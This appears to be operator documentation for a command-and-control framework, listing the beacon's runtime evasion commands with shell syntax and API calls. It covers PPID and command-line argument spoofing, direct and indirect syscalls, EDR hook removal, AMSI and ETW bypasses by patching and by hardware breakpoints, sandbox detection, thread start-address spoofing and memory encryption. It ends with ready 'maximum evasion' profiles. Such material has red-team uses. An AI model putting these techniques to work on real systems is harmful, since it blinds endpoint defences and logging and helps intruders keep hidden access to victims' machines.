Evasion Commands¶

Runtime evasion controls allow operators to modify a beacon's defensive posture after deployment. These commands change how the beacon interacts with the operating system -- adjusting sleep behavior, syscall routing, process attributes, and EDR bypass techniques -- all without redeploying the payload.

Evasion Configuration Matrix¶

The table below summarizes every evasion command, its syntax, whether it can be modified at runtime, and the applicable MITRE ATT&CK technique.

Sleep and Callback Control¶

Control how frequently the beacon checks in with the teamserver. Lower intervals provide faster interaction but generate more network traffic.

sleep <seconds> [jitter%]¶

Set the beacon's callback interval and optional jitter percentage.

The beacon updates its sleep value on the next check-in -- no task is queued through the implant. The server updates the beacon registry directly, and the implant picks up the new value from the check-in response.

Shell syntax:

sleep 60
sleep 30 25
sleep 0

API example:

# Via shell command endpoint
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sleep 30 25"
  }'

# Via dedicated sleep endpoint
curl -s -X POST https://stentor.app/api/v1/cockpit/shell/sleep \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "interval": 30,
    "jitter": 25
  }'

# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/sleep \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sleep_time": 30,
    "jitter": 25
  }'

sleepu <duration_string>¶

Set sleep using a human-readable duration string. Supports days, hours, minutes, seconds, and jitter components.

Duration format: <N>d <N>h <N>m <N>s <N>j

Shell syntax:

sleepu 2d 13h 45m 8s 30j
sleepu 30m 15j
sleepu 1h

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sleepu 30m 15j"
  }'

pause <milliseconds>¶

One-off pause -- the beacon sleeps for the specified duration once, then resumes its normal callback interval. Useful for temporarily going silent during a specific window.

Shell syntax:

pause 300000

This pauses the beacon for 5 minutes (300,000ms), then it resumes normal sleep.

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "pause 300000"
  }'

checkin¶

Force the beacon to check in immediately by queuing a check-in task. The implant re-sends its system information on the next poll cycle.

Shell syntax:

checkin

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "checkin"
  }'

Process Configuration¶

Configure how the beacon spawns child processes. These settings affect fork-and-run operations (execute-assembly, BOF execution, process injection) and can significantly reduce the beacon's detection surface.

ppid <pid>¶

Set the parent process ID for child processes spawned by the beacon. Uses PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to make child processes appear to be spawned by a legitimate parent.

Shell syntax:

ppid 4892
ppid 0

API example:

# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/ppid \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "pid": 4892
  }'

spawnto <x86|x64> <path>¶

Set the sacrificial process used for fork-and-run operations. When the beacon needs to execute code in a separate process (e.g., execute-assembly, BOF with output), it spawns this process, injects into it, captures output, and terminates it.

Shell syntax:

spawnto x64 C:\Windows\System32\svchost.exe
spawnto x86 C:\Windows\SysWOW64\rundll32.exe

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "spawnto x64 C:\\Windows\\System32\\svchost.exe"
  }'

blockdlls [start|stop]¶

Block non-Microsoft-signed DLLs from loading in child processes. This applies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON to all processes spawned by the beacon.

Shell syntax:

blockdlls start
blockdlls stop

API example:

# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/blockdlls \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "enabled": true
  }'

argue <command> <fake_args>¶

Set fake command-line arguments for a specific command. When the beacon spawns the process, it uses the fake arguments (visible to process monitoring), then patches the real arguments into the PEB before the process begins execution.

Shell syntax:

argue net1.exe /enum /domain
argue powershell.exe -NoProfile -WindowStyle Hidden -Command "Get-Date"

When net1.exe is subsequently spawned, process creation logs (Sysmon Event 1, Windows Event 4688) will show the fake arguments instead of the real ones.

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "argue net1.exe /enum /domain"
  }'

Syscall and API Configuration¶

Control how the beacon invokes Windows API functions. These settings determine whether API calls pass through usermode DLL hooks (where EDR instruments its monitoring) or bypass them via direct/indirect syscalls.

syscall-method <none|direct|indirect>¶

Change the syscall invocation method at runtime.

syscall-method none

syscall-method direct

syscall-method indirect

API example:

# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/syscallMethod \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "method": "indirect"
  }'

beacon_gate [enable|disable]¶

Enable or disable BeaconGate, which intercepts 25 commonly hooked Windows APIs and routes them through the configured syscall method (direct or indirect).

Shell syntax:

beacon_gate enable
beacon_gate disable
beacon_gate mask_on_call true
beacon_gate mask_on_call false

API example:

# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/beacongate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "enabled": true
  }'

# Query current BeaconGate status
curl -s https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/beacongate \
  -H "Authorization: Bearer $TOKEN"

The 25 gated APIs are organized by category:

Mask-on-call: When enabled, BeaconGate encrypts beacon memory before each gated API call and decrypts it after. Maximum evasion at the cost of higher CPU overhead. Automatically disabled when beacon sleep drops below 3 seconds (interactive mode).

sleep_config¶

Configure sleep mask behavior -- text encryption, heap encryption, stack spoofing, and sleep method. Sub-commands modify individual settings.

sleep_config

sleep_config sleep_mask on
sleep_config sleep_mask off

sleep_config heap_mask on
sleep_config heap_mask off

sleep_config stack_spoof on
sleep_config stack_spoof off

sleep_config method direct
sleep_config method timer_queue

sleep_config stack_depth 0
sleep_config stack_depth 5

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sleep_config sleep_mask on"
  }'

Memory Evasion¶

Protect beacon memory contents during network operations and at rest. These techniques complement sleep masking by securing memory outside of sleep cycles.

safe_http [on|off]¶

Encrypt the beacon's memory during HTTP/HTTPS check-in operations. When enabled, the beacon encrypts its .text, heap, and configuration data using RC4 (via SystemFunction032) before making any transport calls, then decrypts after the response is processed. This prevents memory scanners from finding beacon signatures during the network I/O window.

Shell syntax:

safe_http on
safe_http off

API example:

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"evasion","data":{"method":"safe_http","params":{"enabled":true}}}'

scatter_alloc [on|off]¶

Distribute beacon memory across non-contiguous pages instead of a single large allocation. Each page is independently encrypted with per-page RC4 keys via SystemFunction032. Reading scattered pages uses a decrypt-copy-reencrypt pattern that never exposes the full beacon in memory at once.

Shell syntax:

scatter_alloc on
scatter_alloc off

API example:

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"evasion","data":{"method":"scatter_alloc","params":{"enabled":true}}}'

EDR Evasion¶

Detect and neutralize EDR userland hooks by querying hooked functions and restoring clean API bytes.

edr_query [module] [--verbose]¶

Scan loaded DLLs for userland hooks. By default, scans ntdll.dll, kernel32.dll, and kernelbase.dll. Optionally specify a specific DLL to scan.

Shell syntax:

edr_query
edr_query ntdll.dll
edr_query kernel32.dll --verbose

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "edr_query ntdll.dll"
  }'

Output: Lists hooked functions with jump target addresses. Hooked functions have their first bytes replaced with a JMP instruction pointing to the EDR's monitoring code.

edr_unhook <method>¶

Restore clean API bytes to undo EDR userland hooks. Multiple restoration strategies are available.

edr_unhook
edr_unhook knowndlls
edr_unhook knowndlls kernel32.dll

edr_unhook disk

edr_unhook targeted NtAllocateVirtualMemory
edr_unhook targeted NtWriteVirtualMemory ntdll.dll

edr_unhook heavensgate

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "edr_unhook knowndlls"
  }'

Hardware Breakpoint Evasion¶

Use CPU debug registers (DR0-DR3) and a Vectored Exception Handler (VEH) to bypass AMSI and ETW without modifying any code bytes in memory.

hwbp <target> [on|off]¶

Control hardware breakpoint-based bypass for AMSI, ETW, or both.

Shell syntax:

hwbp amsi on
hwbp etw on
hwbp both on
hwbp amsi off
hwbp both off

Custom hardware breakpoint:

hwbp custom AmsiScanBuffer amsi.dll 0

Set a hardware breakpoint on an arbitrary function. The VEH intercepts execution at the breakpoint address and returns the specified value.

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "hwbp both on"
  }'

How It Works¶

1. The beacon sets debug registers (DR0-DR3) to point at AmsiScanBuffer and/or EtwEventWrite
2. A Vectored Exception Handler (VEH) is registered to catch EXCEPTION_SINGLE_STEP exceptions
3. When the hooked function is called, the CPU triggers a debug exception before execution
4. The VEH intercepts the exception and modifies the return value:
   • AMSI: Returns AMSI_RESULT_CLEAN (0) -- all scans report "clean"
   • ETW: Returns ERROR_SUCCESS (0) -- all events are silently dropped
5. Execution continues normally with the bypass in effect

AMSI and ETW Bypass¶

Traditional inline patching approach to bypass AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows). These modify code bytes in memory -- for a non-patching alternative, see Hardware Breakpoint Evasion above.

AMSI Bypass¶

Patches AmsiScanBuffer in amsi.dll to return AMSI_RESULT_CLEAN for all scan requests. Prevents PowerShell, .NET, VBScript, and JScript from flagging beacon-related content.

Shell syntax:

amsi

This command is dispatched as an evasion task with {"method": "amsi"}.

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "amsi"
  }'

ETW Bypass¶

Patches EtwEventWrite in ntdll.dll with a RET instruction, silencing all ETW events from the beacon's process. Prevents .NET runtime events, PowerShell logging, and other ETW-based telemetry.

Shell syntax:

etw

This command is dispatched as an evasion task with {"method": "etw"}.

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "etw"
  }'

OPSEC Configuration¶

opsec¶

Query the beacon's current evasion configuration state. Returns a comprehensive audit of all evasion settings with their current values, risk scores, and recommendations.

Shell syntax:

opsec

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "opsec"
  }'

Output includes:

• Current sleep interval and jitter
• Spawn-to process paths (x86 and x64)
• BlockDLLs status
• Syscall method (none/direct/indirect)
• PPID spoofing target
• Sleep mask, heap mask, and stack spoof status
• BeaconGate status
• HWBP status
• Overall OPSEC score with recommendations

Anti-Analysis¶

Detect sandbox, debugger, and virtual machine environments before executing sensitive operations. The beacon can be configured to self-terminate, sleep indefinitely, or skip the current task when analysis indicators are detected.

anti_analysis [options]¶

Configure runtime environment checks that run before task execution. Uses a threshold-based detection model -- a single indicator is not sufficient to trigger (requires 2+ indicators to reduce false positives).

Shell syntax:

anti_analysis on
anti_analysis off
anti_analysis status

Detection categories:

API example:

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"evasion","data":{"method":"anti_analysis","params":{"enabled":true}}}'

Async BOF Execution¶

Execute Beacon Object Files asynchronously during the beacon's sleep cycle. Unlike standard inline-execute (which blocks until completion), bof_async launches the BOF in a background goroutine and delivers results on the next check-in.

bof_async <bof_file> [args]¶

Execute a BOF in the background without blocking the beacon's main task loop. Output is queued and delivered on the next check-in cycle (no early wake -- matches Cobalt Strike behavior).

Shell syntax:

bof_async /path/to/bof.o arg1 arg2
bof_async /tmp/enum_users.o CORP

API example:

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"bof_async","data":{"bof_path":"/tmp/enum_users.o","args":"CORP"}}'

Advanced Sleep Evasion¶

Thread start address spoofing and heap encryption are advanced sleep-cycle evasion techniques that harden beacon threads and memory against EDR scanning during idle periods. Both operate as pre-sleep/post-wake hooks integrated into the sleep mask pipeline.

Thread Start Address Spoofing¶

Problem: Injected beacon threads have their Win32StartAddress pointing to unbacked (private) memory. This is a primary indicator for EDR thread scanning tools such as Get-InjectedThread, Process Hacker, and PE-sieve. Legitimate OS threads always have start addresses pointing to known DLL exports.

How it works:

1. Export pool resolution -- At first use, the module resolves a curated pool of 6 legitimate DLL exports that are common thread entry points:

   DLL	Export	Rationale
   ntdll.dll	RtlUserThreadStart	Most common legitimate thread start address
   ntdll.dll	TppWorkerThread	Thread pool worker -- natural for APC injection
   ntdll.dll	TpReleasePool	Thread pool cleanup routine
   ntdll.dll	RtlExitUserThread	Thread exit routine
   kernel32.dll	BaseThreadInitThunk	Standard thread initialization thunk
   kernel32.dll	CtrlRoutine	Console control handler

   Only exports from DLLs already loaded in the process are included (no LoadLibrary calls).

2. Thread enumeration -- Enumerates all threads in the current process via CreateToolhelp32Snapshot with TH32CS_SNAPTHREAD.

3. Start address query -- For each thread, queries the current Win32StartAddress via NtQueryInformationThread (information class 9, ThreadQuerySetWin32StartAddress).

4. Spoofing -- If the thread's start address points to unbacked/private memory (not matching any known DLL export), overwrites it with a randomly selected export from the pool via NtSetInformationThread. The original address is saved for restoration on wake.

5. Unspoofing -- After waking from sleep, UnspoofThreadStartAddress() restores all original Win32StartAddress values and closes thread handles.

Per-cycle rotation (EVA-02): On each subsequent sleep cycle, RotateThreadStartSpoof() replaces every spoofed address with a DIFFERENT random export from the pool. The selection uses crypto/rand with up to 10 retries to guarantee a different address is chosen. This defeats periodic EDR scans that would notice the same start address persisting across multiple scan intervals.

Heap Encryption¶

Problem: During sleep, sensitive heap data -- configuration, transport state, credential cache, and task buffers -- sits in plaintext memory. Memory scanners can identify beacon signatures, C2 URLs, and harvested credentials by scanning heap regions while the beacon sleeps.

Algorithm: AES-128-CTR with hardware AES-NI acceleration. Unlike the existing RC4-based HeapMask pipeline (which uses SystemFunction032), heap encryption uses the Go standard library crypto/aes + crypto/cipher CTR mode, which leverages hardware AES-NI instructions on modern processors. Typical performance is <1ms for beacon-sized heap regions.

Per-cycle key rotation: Each sleep cycle generates a completely fresh 16-byte key and 16-byte IV from CSPRNG (crypto/rand). The combined 32-byte key material is held only during the sleep interval and zeroed immediately after decryption via explicit ZeroKey() with runtime.KeepAlive to prevent compiler optimization from eliminating the zeroing loop.

Coverage scope (EVA-04): All tracked heap records are encrypted:

The transport client itself is excluded via the ExcludeFromSafeHTTP flag to prevent deadlock during HTTP operations.

In-place encryption: CTR mode is XOR-based, meaning the same XORKeyStream operation with the same key and IV both encrypts and decrypts. No additional memory allocation is needed -- encryption and decryption happen directly on the heap memory regions.

Independent of HeapMask: Heap encryption operates separately from the RC4-based HeapMask pipeline. HeapMask encrypts via RC4/SystemFunction032; heap encryption uses AES-128-CTR. Both can run simultaneously for defense-in-depth.

Performance: <2ms combined encrypt + decrypt for typical beacon heap sizes. No VirtualProtect calls needed because heap memory is already RW.

Sleep Cycle Integration Order¶

Thread spoofing and heap encryption are integrated into the sleep mask pipeline as pre-sleep and post-wake hooks. The execution order ensures memory is protected before sleep and restored before the beacon resumes operations.

sequenceDiagram
    participant B as Beacon
    participant HE as Heap Encryption
    participant TS as Thread Spoofing
    participant S as Sleep Method

    Note over B: Pre-sleep phase
    B->>HE: 1. EncryptHeapRegions()
    Note over HE: AES-128-CTR with fresh CSPRNG key+IV
    HE-->>B: Returns 32-byte key+IV

    B->>TS: 2. SpoofThreadStartAddress() / RotateThreadStartSpoof()
    Note over TS: First call: spoof all threads<br/>Subsequent: rotate to new exports

    B->>S: 3. Sleep (SleepEx or timer_queue)
    Note over S: Beacon is dormant<br/>Memory encrypted, threads spoofed

    S-->>B: Wake

    Note over B: Post-wake phase
    B->>TS: 4. UnspoofThreadStartAddress()
    Note over TS: Restore original Win32StartAddress values

    B->>HE: 5. DecryptHeapRegions(key+IV)
    Note over HE: Decrypt with same key+IV, then zero key

Order rationale:

• Heap encryption before thread spoofing -- Ensures sensitive memory is encrypted even if thread spoofing encounters an error
• Unspoof before decrypt -- Restores thread state before the beacon needs to access heap data for task processing
• Errors in either subsystem are non-fatal: the sleep mask pipeline falls back to regular sleep and ensures cleanup via deferred panic recovery

Configuration Toggles¶

Both features are controlled independently via sleep_config sub-commands:

sleep_config thread_spoof on
sleep_config thread_spoof off
sleep_config heap_encrypt on
sleep_config heap_encrypt off

API example:

# Enable thread start address spoofing
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sleep_config thread_spoof on"
  }'

# Enable heap encryption
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sleep_config heap_encrypt on"
  }'

Use sleep_config (no arguments) to verify the current state of both settings alongside all other sleep mask options.

Recommended Evasion Profiles¶

Use these profiles as starting points for different engagement scenarios.

Lab / Testing (No Evasion)¶

sleep 5
syscall-method none

Default settings with a fast callback for rapid iteration.

Standard Engagement (Moderate Evasion)¶

sleep 60 25
ppid 4892
spawnto x64 C:\Windows\System32\RuntimeBroker.exe
blockdlls start
syscall-method indirect
sleep_config sleep_mask on

EDR-Heavy Environment (Maximum Evasion)¶

sleep 300 40
ppid 4892
spawnto x64 C:\Windows\System32\RuntimeBroker.exe
blockdlls start
syscall-method indirect
beacon_gate enable
beacon_gate mask_on_call true
sleep_config sleep_mask on
sleep_config heap_mask on
sleep_config stack_spoof on
sleep_config stack_depth 0
sleep_config method timer_queue
sleep_config thread_spoof on
sleep_config heap_encrypt on
safe_http on
scatter_alloc on
anti_analysis on
hwbp both on
argue net1.exe /enum /domain